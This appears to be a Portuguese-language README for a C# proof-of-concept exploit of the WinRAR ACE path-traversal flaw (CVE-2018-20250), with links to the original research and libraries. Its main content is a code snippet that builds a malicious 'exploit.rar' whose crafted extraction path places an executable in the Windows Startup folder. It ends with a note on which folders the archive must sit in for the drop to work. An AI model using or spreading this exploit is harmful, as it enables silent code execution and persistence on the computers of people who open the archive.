
Código de prova de conceito em C# para explorar o caminho de extração de arquivos ACE do WinRAR (CVE-2018-20250).
Código de prova de conceito em C# para explorar o caminho de extração de arquivos ACE do WinRAR (CVE-2018-20250).
https://research.checkpoint.com/extracting-code-execution-from-winrar/ https://github.com/droe/acefile https://apidoc.roe.ch/acefile/latest/
InvertedTomato.Crc (pode instalá-lo com o NuGet) para o método de soma de verificação. Pode usar qualquer outra implementação JAMCRC.
AceVolume av = new AceVolume();
AceFile f = new AceFile(
@"D:\some_file.exe",
@"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\some_file.exe"
);
av.AddFile(f);
av.Save("exploit.rar");
Parece que extrai apenas para a pasta de inicialização quando o arquivo .rar está na Área de Trabalho ou em qualquer pasta no mesmo nível.